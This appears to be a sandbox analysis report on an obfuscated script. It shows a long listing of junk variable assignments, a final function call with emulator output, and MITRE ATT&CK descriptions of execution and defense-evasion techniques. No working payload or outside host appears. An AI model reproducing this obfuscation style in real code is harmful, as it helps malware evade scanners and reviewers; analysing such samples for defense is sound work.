487	apcdxcwnz = "r";
488	apcdxcwnz = "X";
489	apcdxcwnz = "l";
490	apcdxcwnz = "M";
491	apcdxcwnz = "I";
492	apcdxcwnz = "L";
493	apcdxcwnz = "J";
494	apcdxcwnz = "y";
495	apcdxcwnz = "b";
496	apcdxcwnz = "S";
497	apcdxcwnz = "W";
498	apcdxcwnz = "N";
499	apcdxcwnz = "a";
500	apcdxcwnz = "Y";
501	apcdxcwnz = "A";
502	apcdxcwnz = "c";
503	apcdxcwnz = "K";
504	apcdxcwnz = "D";
505	apcdxcwnz = "K";
506	apcdxcwnz = "Y";
507	apcdxcwnz = "l";
508	apcdxcwnz = "e";
509	apcdxcwnz = "J";
510	apcdxcwnz = "H";
511	apcdxcwnz = "A";
512	apcdxcwnz = "f";
513	apcdxcwnz = "i";
514	apcdxcwnz = "S";
515	apcdxcwnz = "e";
516	apcdxcwnz = "p";
517	apcdxcwnz = "D";
518	apcdxcwnz = "y";
519	apcdxcwnz = "g";
520	apcdxcwnz = "I";
521	apcdxcwnz = "s";
522	apcdxcwnz = "r";
523	apcdxcwnz = "i";
524	wyybjqj = "x";
525	wyybjqj = "Q";
526	wyybjqj = "y";
527	wyybjqj = "u";
528	wyybjqj = "E";
529	wyybjqj = "a";
530	wyybjqj = "X";
531	wyybjqj = "P";
532	wyybjqj = "X";
533	wyybjqj = "K";
534	wyybjqj = "X";
535	wyybjqj = "Y";
536	wyybjqj = "Y";
537	wyybjqj = "j";
538	wyybjqj = "u";
539	wyybjqj = "w";
540	wyybjqj = "s";
541	wyybjqj = "Q";
542	wyybjqj = "i";
543	wyybjqj = "b";
544	wyybjqj = "q";
545	wyybjqj = "A";
546	wyybjqj = "f";
547	mhnlcf = "L";
548	mhnlcf = "r";
549	mhnlcf = "n";
550	mhnlcf = "h";
551	mhnlcf = "M";
552	mhnlcf = "l";
553	mhnlcf = "p";
554	mhnlcf = "H";
555	mhnlcf = "o";
556	mhnlcf = "F";
557	mhnlcf = "E";
558	mhnlcf = "u";
559	mhnlcf = "q";
560	mhnlcf = "B";
561	mhnlcf = "G";
562	mhnlcf = "T";
563	mhnlcf = "h";
564	mhnlcf = "y";
565	mhnlcf = "e";
566	mhnlcf = "T";
567	mhnlcf = "u";
568	mhnlcf = "a";
569	mhnlcf = "a";
570	mhnlcf = "I";
571	mhnlcf = "T";
572	mhnlcf = "T";
573	mhnlcf = "B";
574	mhnlcf = "f";
575	mhnlcf = "H";
576	mhnlcf = "k";
577	mhnlcf = "t";
578	mhnlcf = "L";
579	mhnlcf = "g";
580	mhnlcf = "h";
581	mhnlcf = "L";
582	mhnlcf = "R";
583	mhnlcf = "W";
584	mhnlcf = "X";
585	mhnlcf = "S";
586	doqppq = "E";
587	doqppq = "r";
588	doqppq = "B";
589	doqppq = "C";
590	doqppq = "z";
591	doqppq = "i";
592	doqppq = "b";
593	doqppq = "A";
594	doqppq = "i";
595	doqppq = "N";
596	doqppq = "A";
597	doqppq = "C";
598	doqppq = "L";
599	doqppq = "r";
600	doqppq = "E";
601	doqppq = "g";
602	doqppq = "m";
603	doqppq = "P";
604	doqppq = "H";
605	doqppq = "U";
606	doqppq = "b";
607	doqppq = "v";
608	doqppq = "V";
609	doqppq = "f";
610	doqppq = "z";
611	doqppq = "E";
612	doqppq = "X";
613	doqppq = "g";
614	doqppq = "M";
615	doqppq = "U";
616	doqppq = "5";
617	wlfnfcuzo = "Z";
618	wlfnfcuzo = "x";
619	wlfnfcuzo = "g";
620	wlfnfcuzo = "a";
621	wlfnfcuzo = "S";
622	wlfnfcuzo = "k";
623	wlfnfcuzo = "U";
624	wlfnfcuzo = "p";
625	wlfnfcuzo = "I";
626	wlfnfcuzo = "V";
627	wlfnfcuzo = "Y";
628	wlfnfcuzo = "K";
629	wlfnfcuzo = "B";
630	wlfnfcuzo = "M";
631	wlfnfcuzo = "W";
632	wlfnfcuzo = "j";
633	wlfnfcuzo = "B";
634	wlfnfcuzo = "w";
635	wlfnfcuzo = "X";
636	wlfnfcuzo = "k";
637	wlfnfcuzo = "V";
638	wlfnfcuzo = "e";
639	wlfnfcuzo = "u";
640	wlfnfcuzo = "T";
641	wlfnfcuzo = "m";
642	wlfnfcuzo = "O";
643	wlfnfcuzo = "z";
644	wlfnfcuzo = "Y";
645	wlfnfcuzo = "K";
646	wlfnfcuzo = "w";
647	wlfnfcuzo = "q";
648	wlfnfcuzo = "F";
649	wlfnfcuzo = "h";
650	wlfnfcuzo = "U";
651	wlfnfcuzo = "A";
652	wlfnfcuzo = "m";
653	wlfnfcuzo = "l";
654	wlfnfcuzo = "s";
655	wlfnfcuzo = "P";
656	wlfnfcuzo = "W";
657	wlfnfcuzo = "l";
658	wlfnfcuzo = "j";
659	wlfnfcuzo = "X";
660	wlfnfcuzo = "l";
661	wlfnfcuzo = " ";
662	kxxwez = "C";
663	kxxwez = "x";
664	kxxwez = "x";
665	kxxwez = "Z";
666	kxxwez = "o";
667	kxxwez = "z";
668	kxxwez = "j";
669	kxxwez = "N";
670	kxxwez = "p";
671	kxxwez = "M";
672	kxxwez = "D";
673	kxxwez = "T";
674	kxxwez = "Q";
675	tsfqfy = "M";
676	tsfqfy = "e";
677	tsfqfy = "U";
678	tsfqfy = "z";
679	tsfqfy = "G";
680	tsfqfy = "W";
681	tsfqfy = "U";
682	tsfqfy = "N";
683	tsfqfy = "g";
684	tsfqfy = "u";
685	tsfqfy = "K";
686	tsfqfy = "Y";
687	tsfqfy = "c";
688	tsfqfy = "h";
689	tsfqfy = "H";
690	tsfqfy = "p";
691	tsfqfy = "f";
692	tsfqfy = "K";
693	tsfqfy = "B";
694	tsfqfy = "p";
695	tsfqfy = "U";
696	tsfqfy = "a";
697	tsfqfy = "J";
698	tsfqfy = "b";
699	tsfqfy = "z";
700	tsfqfy = "u";
701	tsfqfy = "k";
702	tsfqfy = "G";
703	tsfqfy = "B";
704	tsfqfy = "Z";
705	tsfqfy = "x";
706	tsfqfy = "X";
707	tsfqfy = "W";
708	tsfqfy = "u";
709	tsfqfy = "w";
710	tsfqfy = "u";
711	tsfqfy = "V";
712	tsfqfy = "Q";
713	tsfqfy = "m";
714	tsfqfy = "M";
715	tsfqfy = "f";
716	tsfqfy = "P";
717	tsfqfy = "t";
718	tsfqfy = "j";
719	tsfqfy = "1";
720	vlvywdo = "F";
721	vlvywdo = "I";
722	vlvywdo = "n";
723	vlvywdo = "n";
724	vlvywdo = "M";
725	vlvywdo = "J";
726	vlvywdo = "B";
727	vlvywdo = "k";
728	vlvywdo = "h";
729	vlvywdo = "y";
730	vlvywdo = "D";
731	vlvywdo = "r";
732	vlvywdo = "C";
733	vlvywdo = "U";
734	vlvywdo = "A";
735	vlvywdo = "O";
736	vlvywdo = "j";
737	vlvywdo = "Z";
738	vlvywdo = "n";
739	vlvywdo = "X";
740	vlvywdo = "h";
741	vlvywdo = "A";
742	vlvywdo = "l";
743	vlvywdo = "i";
744	vlvywdo = "O";
745	vlvywdo = "E";
746	vlvywdo = "v";
747	vlvywdo = "Q";
748	vlvywdo = "Y";
749	nhltozy = "o";
750	nhltozy = "q";
751	nhltozy = "a";
752	nhltozy = "S";
753	nhltozy = "Z";
754	nhltozy = "R";
755	nhltozy = "t";
756	nhltozy = "N";
757	nhltozy = "b";
758	nhltozy = "M";
759	nhltozy = "t";
760	nhltozy = "N";
761	nhltozy = "g";
762	nhltozy = "f";
763	nhltozy = "q";
764	nhltozy = "c";
765	nhltozy = "A";
766	nhltozy = "v";
767	nhltozy = "e";
768	nhltozy = "d";
769	nhltozy = "j";
770	nhltozy = "s";
771	nhltozy = "C";
772	nhltozy = "q";
773	nhltozy = "X";
774	nhltozy = "z";
775	nhltozy = "L";
776	nhltozy = "I";
777	nhltozy = "P";
778	nhltozy = "u";
779	nhltozy = "H";
780	nhltozy = "n";
781	nhltozy = "l";
782	nhltozy = "Q";
783	nhltozy = "U";
784	nhltozy = "f";
785	nhltozy = "U";
786	nhltozy = "w";
787	nhltozy = "o";
788	nhltozy = "x";
789	nhltozy = "I";
790	nhltozy = "s";
791	nhltozy = "H";
792	nhltozy = "T";
793	nhltozy = "o";
794	gennlib = "L";
795	gennlib = "s";
796	gennlib = "t";
797	gennlib = "x";
798	gennlib = "s";
799	gennlib = "Z";
800	gennlib = "m";
801	gennlib = "n";
802	rlgrvdej = "v";
803	rlgrvdej = "G";
804	rlgrvdej = "w";
805	rlgrvdej = "b";
806	rlgrvdej = "u";
807	rlgrvdej = "a";
808	rlgrvdej = "b";
809	rlgrvdej = "G";
810	rlgrvdej = "j";
811	rlgrvdej = "W";
812	rlgrvdej = "Y";
813	rlgrvdej = "P";
814	rlgrvdej = "w";
815	rlgrvdej = "z";
816	rlgrvdej = "r";
817	rlgrvdej = "o";
818	rlgrvdej = "t";
819	rlgrvdej = "Q";
820	rlgrvdej = "N";
821	rlgrvdej = "Q";
822	rlgrvdej = "h";
823	rlgrvdej = "V";
824	rlgrvdej = "A";
825	rlgrvdej = "N";
826	rlgrvdej = "Y";
827	rlgrvdej = "G";
828	rlgrvdej = "r";
829	rlgrvdej = "x";
830	rlgrvdej = "J";
831	rlgrvdej = "c";
832	rlgrvdej = "T";
833	rlgrvdej = "F";
834	rlgrvdej = "H";
835	rlgrvdej = "P";
836	rlgrvdej = "K";
837	mfjvm = "g";
838	mfjvm = "G";
839	mfjvm = "Q";
840	mfjvm = "z";
841	mfjvm = "k";
842	mfjvm = "i";
843	mfjvm = "r";
844	mfjvm = "U";
845	mfjvm = "j";
846	mfjvm = "S";
847	mfjvm = "I";
848	mfjvm = "h";
849	mfjvm = "G";
850	mfjvm = "r";
851	mfjvm = "S";
852	mfjvm = "v";
853	mfjvm = "h";
854	mfjvm = "a";
855	mfjvm = "h";
856	mfjvm = "m";
857	mfjvm = "U";
858	mfjvm = "f";
859	mfjvm = "H";
860	mfjvm = "X";
861	mfjvm = "H";
862	mfjvm = "K";
863	mfjvm = "n";
864	mfjvm = "s";
865	iujwmspim = "d";
866	iujwmspim = "R";
867	iujwmspim = "O";
868	iujwmspim = "p";
869	iujwmspim = "q";
870	iujwmspim = "w";
871	iujwmspim = "x";
872	iujwmspim = "s";
873	iujwmspim = "D";
874	iujwmspim = "S";
875	iujwmspim = "8";
876	hluuerj = "C";
877	hluuerj = "O";
878	hluuerj = "w";
879	hluuerj = "y";
880	hluuerj = "m";
881	hluuerj = "l";
882	hluuerj = "p";
883	hluuerj = "A";
884	hluuerj = "e";
885	hluuerj = "Y";
886	hluuerj = "L";
887	hluuerj = "b";
888	hluuerj = "V";
889	hluuerj = "I";
890	hluuerj = "a";
891	hluuerj = "E";
892	hluuerj = "i";
893	hluuerj = "E";
894	hluuerj = "U";
895	hluuerj = "a";
896	hluuerj = "s";
897	hluuerj = "A";
898	hluuerj = "f";
899	hluuerj = "N";
900	hluuerj = "2";
901	wgxzysin = "v";
902	wgxzysin = "w";
903	wgxzysin = "B";
904	wgxzysin = "Q";
905	wgxzysin = "E";
906	wgxzysin = "c";
907	wgxzysin = "n";
908	wgxzysin = "z";
909	wgxzysin = "Q";
910	wgxzysin = "P";
911	wgxzysin = "n";
912	wgxzysin = "K";
913	wgxzysin = "P";
914	wgxzysin = "M";
915	wgxzysin = "d";
916	wgxzysin = "X";
917	wgxzysin = "s";
918	wgxzysin = "q";
919	wgxzysin = "S";
920	wgxzysin = "e";
921	wgxzysin = "m";
922	wgxzysin = "O";
923	wgxzysin = "X";
924	wgxzysin = "z";
925	wgxzysin = "Y";
926	wgxzysin = "d";
927	wgxzysin = "V";
928	wgxzysin = "r";
929	wgxzysin = "s";
930	wgxzysin = "w";
931	wgxzysin = "D";
932	wgxzysin = "y";
933	wgxzysin = "U";
934	wgxzysin = "W";
935	wgxzysin = "Y";
936	wgxzysin = "j";
937	wgxzysin = "F";
938	wgxzysin = "z";
939	wgxzysin = "n";
940	wgxzysin = "q";
941	wgxzysin = "g";
942	wgxzysin = "a";
943	wgxzysin = "c";
944	mhnftif = "L";
945	mhnftif = "Q";
946	mhnftif = "T";
947	mhnftif = "B";
948	mhnftif = "C";
949	mhnftif = "E";
950	mhnftif = "b";
951	mhnftif = "m";
952	mhnftif = "k";
953	mhnftif = "E";
954	mhnftif = "Z";
955	mhnftif = "v";
956	mhnftif = "A";
957	mhnftif = "u";
958	mhnftif = "O";
959	mhnftif = "O";
960	mhnftif = "d";
961	mhnftif = "E";
962	mhnftif = "g";
963	mhnftif = "w";
964	mhnftif = "P";
965	mhnftif = "L";
966	mhnftif = "y";
967	mhnftif = "j";
968	mhnftif = "e";
969	mhnftif = "b";
970	mhnftif = "N";
971	mhnftif = "q";
972	mhnftif = "M";
973	mhnftif = "P";
974	mhnftif = "f";
975	mhnftif = "e";
976	mhnftif = "R";
977	mhnftif = "O";
978	mhnftif = "Y";
979	mhnftif = "r";
980	mhnftif = "N";
981	mhnftif = "j";
982	mhnftif = "j";
983	cwrlaj = "e";
984	cwrlaj = "U";
985	cwrlaj = "B";
986	cwrlaj = "W";
987	cwrlaj = "X";
988	cwrlaj = "Y";
989	cwrlaj = "O";
990	cwrlaj = "m";
991	cwrlaj = "A";
992	cwrlaj = "L";
993	cwrlaj = "S";
994	cwrlaj = "e";
995	cwrlaj = "p";
996	cwrlaj = "Q";
997	cwrlaj = "F";
998	cwrlaj = "b";
999	cwrlaj = "k";
1000	cwrlaj = "B";
1001	cwrlaj = "n";
1002	cwrlaj = "T";
1003	cwrlaj = "U";
1004	cwrlaj = "I";
1005	cwrlaj = "I";
1006	cwrlaj = "v";
1007	cwrlaj = "W";
1008	cwrlaj = "e";
1009	cwrlaj = "C";
1010	cwrlaj = "t";
1011	cwrlaj = "F";
1012	cwrlaj = "X";
1013	cwrlaj = "z";
1014	cwrlaj = "c";
1015	cwrlaj = "W";
1016	cwrlaj = "O";
1017	cwrlaj = "q";
1018	cwrlaj = "l";
1019	xaekn = "L";
1020	xaekn = "W";
1021	xaekn = "f";
1022	xaekn = "u";
1023	xaekn = "I";
1024	xaekn = "h";
1025	xaekn = "z";
1026	xaekn = "x";
1027	tyvpard = "b";
1028	tyvpard = "e";
1029	tyvpard = "R";
1030	tyvpard = "E";
1031	tyvpard = "G";
1032	tyvpard = "v";
1033	dntovzyn = "a";
1034	dntovzyn = "A";
1035	dntovzyn = "Y";
1036	dntovzyn = "M";
1037	dntovzyn = "v";
1038	dntovzyn = "V";
1039	dntovzyn = "P";
1040	dntovzyn = "v";
1041	dntovzyn = "s";
1042	dntovzyn = "Z";
1043	dntovzyn = "E";
1044	dntovzyn = "T";
1045	dntovzyn = "k";
1046	dntovzyn = "q";
1047	dntovzyn = "v";
1048	dntovzyn = "B";
1049	dntovzyn = "E";
1050	dntovzyn = "q";
1051	dntovzyn = "H";
1052	dntovzyn = "E";
1053	dntovzyn = "H";
1054	dntovzyn = "S";
1055	dntovzyn = "D";
1056	dntovzyn = "L";
1057	dntovzyn = "W";
1058	dntovzyn = "M";
1059	dntovzyn = "T";
1060	dntovzyn = "u";
1061	dntovzyn = "J";
1062	dntovzyn = "f";
1063	dntovzyn = "U";
1064	dntovzyn = "s";
1065	dntovzyn = "K";
1066	dntovzyn = "O";
1067	dntovzyn = "B";
1068	dntovzyn = "p";
1069	dntovzyn = "b";
1070	dntovzyn = "j";
1071	dntovzyn = "f";
1072	dntovzyn = "h";
1073	dntovzyn = "Z";
1074	dntovzyn = "/";
1075	hictjjlu = "H";
1076	hictjjlu = "o";
1077	hictjjlu = "x";
1078	hictjjlu = "i";
1079	hictjjlu = "t";
1080	hictjjlu = "z";
1081	hictjjlu = "G";
1082	hictjjlu = "L";
1083	hictjjlu = "@";
1084	ecdadxzs = "Q";
1085	ecdadxzs = "R";
1086	ecdadxzs = "d";
1087	ecdadxzs = "L";
1088	ecdadxzs = "F";
1089	gxczpja = "j";
1090	gxczpja = "O";
1091	gxczpja = "t";
1092	gxczpja = "V";
1093	gxczpja = "C";
1094	gxczpja = "W";
1095	gxczpja = "O";
1096	gxczpja = "A";
1097	gxczpja = "g";
1098	gxczpja = "D";
1099	gxczpja = "g";
1100	gxczpja = "y";
1101	gxczpja = "N";
1102	gxczpja = "c";
1103	gxczpja = "w";
1104	gxczpja = "R";
1105	gxczpja = "b";
1106	gxczpja = "P";
1107	gxczpja = "k";
1108	gxczpja = "i";
1109	gxczpja = "s";
1110	gxczpja = "f";
1111	gxczpja = "z";
1112	gxczpja = "y";
1113	gxczpja = "c";
1114	gxczpja = "x";
1115	gxczpja = "O";
1116	gxczpja = "H";
1117	gxczpja = "g";
1118	gxczpja = "F";
1119	gxczpja = "C";
1120	gxczpja = "X";
1121	gxczpja = "J";
1122	gxczpja = "P";
1123	gxczpja = "C";
1124	gxczpja = "Y";
1125	gxczpja = "E";
1126	gxczpja = "j";
1127	gxczpja = "O";
1128	gxczpja = "g";
1129	gxczpja = "d";
1130	gxczpja = "u";
1131	zavsajpw = "s";
1132	zavsajpw = "x";
1133	zavsajpw = "E";
1134	zavsajpw = "S";
1135	zavsajpw = "U";
1136	zavsajpw = "F";
1137	zavsajpw = "h";
1138	zavsajpw = "r";
1139	zavsajpw = "L";
1140	zavsajpw = "e";
1141	zavsajpw = "a";
1142	zavsajpw = "q";
1143	zavsajpw = "N";
1144	zavsajpw = "B";
1145	zavsajpw = "h";
1146	zavsajpw = "r";
1147	zavsajpw = "K";
1148	zavsajpw = "w";
1149	zavsajpw = "x";
1150	zavsajpw = "H";
1151	zavsajpw = "F";
1152	zavsajpw = "P";
1153	zavsajpw = "p";
1154	zavsajpw = "d";
1155	zavsajpw = "d";
1156	pypweky = "b";
1157	pypweky = "S";
1158	pypweky = "Z";
1159	pypweky = "H";
1160	pypweky = "b";
1161	pypweky = "n";
1162	pypweky = "I";
1163	pypweky = "t";
1164	pypweky = "L";
1165	pypweky = "Y";
1166	pypweky = "c";
1167	pypweky = "F";
1168	pypweky = "G";
1169	pypweky = "d";
1170	pypweky = "D";
1171	pypweky = "r";
1172	pypweky = "D";
1173	pypweky = "b";
1174	pypweky = "L";
1175	pypweky = "3";
1176	xyqiuraw = "c";
1177	xyqiuraw = "t";
1178	xyqiuraw = "E";
1179	xyqiuraw = "a";
1180	xyqiuraw = "u";
1181	xyqiuraw = "k";
1182	vnido = "A";
1183	vnido = "r";
1184	vnido = "V";
1185	vnido = "S";
1186	vnido = "L";
1187	vnido = "W";
1188	vnido = "K";
1189	vnido = "P";
1190	vnido = "a";
1191	vnido = "C";
1192	tzclazg = "w";
1193	tzclazg = "M";
1194	tzclazg = "C";
1195	tzclazg = "Y";
1196	tzclazg = "b";
1197	tzclazg = "N";
1198	tzclazg = "f";
1199	tzclazg = "s";
1200	tzclazg = "R";
1201	tzclazg = "D";
1202	tzclazg = "w";
1203	tzclazg = "u";
1204	tzclazg = "Z";
1205	tzclazg = "z";
1206	tzclazg = "k";
1207	tzclazg = "V";
1208	tzclazg = "U";
1209	tzclazg = "b";
1210	tzclazg = "A";
1211	tzclazg = "a";
1212	tzclazg = "l";
1213	tzclazg = "a";
1214	tzclazg = "l";
1215	tzclazg = "m";
1216	tzclazg = "n";
1217	tzclazg = "U";
1218	tzclazg = "U";
1219	tzclazg = "F";
1220	tzclazg = "V";
1221	tzclazg = "s";
1222	tzclazg = "X";
1223	tzclazg = "o";
1224	tzclazg = "o";
1225	tzclazg = "k";
1226	tzclazg = "h";
1227	tzclazg = "m";
1228	tzclazg = "t";
1229	tzclazg = "W";
1230	tzclazg = "m";
1231	tzclazg = "g";
1232	tzclazg = "E";
1233	tzclazg = "Q";
1234	tzclazg = "w";
1235	tzclazg = "F";
1236	tzclazg = "\\";
1237	ewrbotqgv = "p";
1238	ewrbotqgv = "z";
1239	ewrbotqgv = "W";
1240	ewrbotqgv = "c";
1241	ewrbotqgv = "R";
1242	ewrbotqgv = "E";
1243	ewrbotqgv = "f";
1244	ewrbotqgv = "P";
1245	ewrbotqgv = "Z";
1246	ewrbotqgv = "V";
1247	ewrbotqgv = "a";
1248	ewrbotqgv = "n";
1249	ewrbotqgv = "M";
1250	ewrbotqgv = "w";
1251	ewrbotqgv = "a";
1252	ewrbotqgv = "p";
1253	ewrbotqgv = "l";
1254	ewrbotqgv = "X";
1255	ewrbotqgv = "h";
1256	ewrbotqgv = "W";
1257	ewrbotqgv = "u";
1258	ewrbotqgv = "w";
1259	krccgvf = "l";
1260	krccgvf = "A";
1261	krccgvf = "f";
1262	krccgvf = "D";
1263	krccgvf = "W";
1264	krccgvf = "m";
1265	krccgvf = "u";
1266	krccgvf = "F";
1267	krccgvf = "j";
1268	krccgvf = "W";
1269	bsuorbcol = "c";
1270	bsuorbcol = "u";
1271	bsuorbcol = "Y";
1272	bsuorbcol = "A";
1273	bsuorbcol = "L";
1274	bsuorbcol = "w";
1275	bsuorbcol = "N";
1276	bsuorbcol = "P";
1277	bsuorbcol = "r";
1278	bsuorbcol = "D";
1279	bsuorbcol = "m";
1280	bsuorbcol = "g";
1281	esozoqn = "o";
1282	esozoqn = "w";
1283	esozoqn = "F";
1284	esozoqn = "n";
1285	esozoqn = "y";
1286	esozoqn = "O";
1287	esozoqn = "M";
1288	esozoqn = "a";
1289	esozoqn = "d";
1290	esozoqn = "T";
1291	esozoqn = "I";
1292	esozoqn = "m";
1293	esozoqn = "n";
1294	esozoqn = "t";
1295	esozoqn = "a";
1296	esozoqn = "b";
1297	esozoqn = "v";
1298	esozoqn = "B";
1299	esozoqn = "I";
1300	esozoqn = "j";
1301	esozoqn = "s";
1302	esozoqn = "d";
1303	esozoqn = "p";
1304	esozoqn = "P";
1305	esozoqn = "V";
1306	esozoqn = "y";
1307	esozoqn = "h";
1308	lkhwblf = "x";
1309	lkhwblf = "o";
1310	lkhwblf = "t";
1311	lkhwblf = "b";
1312	lkhwblf = "q";
1313	gzqzziofi = "h";
1314	gzqzziofi = "l";
1315	gzqzziofi = "n";
1316	gzqzziofi = "g";
1317	gzqzziofi = "x";
1318	gzqzziofi = "X";
1319	gzqzziofi = "R";
1320	gzqzziofi = "j";
1321	gzqzziofi = "y";
1322	gzqzziofi = "l";
1323	gzqzziofi = "A";
1324	gzqzziofi = "W";
1325	gzqzziofi = "O";
1326	gzqzziofi = "y";
1327	gzqzziofi = "C";
1328	gzqzziofi = "R";
1329	gzqzziofi = "O";
1330	gzqzziofi = "K";
1331	gzqzziofi = "V";
1332	gzqzziofi = "M";
1333	gzqzziofi = "G";
1334	gzqzziofi = "b";
1335	gzqzziofi = "X";
1336	gzqzziofi = "r";
1337	gzqzziofi = "E";
1338	gzqzziofi = "T";
1339	gzqzziofi = "O";
1340	gzqzziofi = "y";
1341	gzqzziofi = "O";
1342	gzqzziofi = "r";
1343	gzqzziofi = "f";
1344	gzqzziofi = "E";
1345	gzqzziofi = "k";
1346	gzqzziofi = "u";
1347	gzqzziofi = "a";
1348	gzqzziofi = "E";
1349	gzqzziofi = "i";
1350	gzqzziofi = "j";
1351	gzqzziofi = ":";
1352	pxjhwf = "D";
1353	pxjhwf = "b";
1354	pxjhwf = "D";
1355	pxjhwf = "Z";
1356	pxjhwf = "G";
1357	pxjhwf = "F";
1358	pxjhwf = "R";
1359	pxjhwf = "W";
1360	pxjhwf = "L";
1361	pxjhwf = "l";
1362	pxjhwf = "R";
1363	pxjhwf = "E";
1364	pxjhwf = "p";
1365	pxjhwf = "m";
1366	pxjhwf = "i";
1367	pxjhwf = "a";
1368	pxjhwf = "B";
1369	pxjhwf = "f";
1370	pxjhwf = "I";
1371	pxjhwf = "t";
1372	pxjhwf = "N";
1373	pxjhwf = "u";
1374	pxjhwf = "d";
1375	pxjhwf = "C";
1376	pxjhwf = "P";
1377	pxjhwf = "G";
1378	pxjhwf = "Z";
1379	pxjhwf = "d";
1380	pxjhwf = "T";
1381	pxjhwf = "R";
1382	pxjhwf = "P";
1383	pxjhwf = "A";
1384	pxjhwf = "D";
1385	pxjhwf = "a";
1386	tlxpu = "X";
1387	tlxpu = "b";
1388	tlxpu = "o";
1389	tlxpu = "I";
1390	tlxpu = "A";
1391	tlxpu = "y";
1392	tlxpu = "N";
1393	tlxpu = "x";
1394	tlxpu = "p";
1395	tlxpu = "g";
1396	tlxpu = "I";
1397	tlxpu = "j";
1398	tlxpu = "Y";
1399	tlxpu = "u";
1400	tlxpu = "i";
1401	tlxpu = "F";
1402	tlxpu = "G";
1403	tlxpu = "H";
1404	tlxpu = "p";
1405	tlxpu = "d";
1406	tlxpu = "d";
1407	tlxpu = "g";
1408	tlxpu = "v";
1409	tlxpu = "q";
1410	tlxpu = "O";
1411	lmfno = "P";
1412	lmfno = "I";
1413	lmfno = "N";
1414	lmfno = "M";
1415	lmfno = "e";
1416	lmfno = "D";
1417	lmfno = "R";
1418	lmfno = "u";
1419	lmfno = "a";
1420	lmfno = "b";
1421	fxtqmyd = "N";
1422	fxtqmyd = "A";
1423	fxtqmyd = "w";
1424	fxtqmyd = "r";
1425	fxtqmyd = "j";
1426	fxtqmyd = "x";
1427	fxtqmyd = "g";
1428	fxtqmyd = "x";
1429	fxtqmyd = "F";
1430	fxtqmyd = "l";
1431	fxtqmyd = "o";
1432	fxtqmyd = "X";
1433	fxtqmyd = "A";
1434	fxtqmyd = "Y";
1435	fxtqmyd = "F";
1436	fxtqmyd = "K";
1437	fxtqmyd = "e";
1438	fxtqmyd = "S";
1439	fxtqmyd = "b";
1440	fxtqmyd = "v";
1441	fxtqmyd = "B";
1442	fxtqmyd = "T";
1443	fxtqmyd = "p";
1444	otgenwlw = "U";
1445	habqx ( );	habqx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
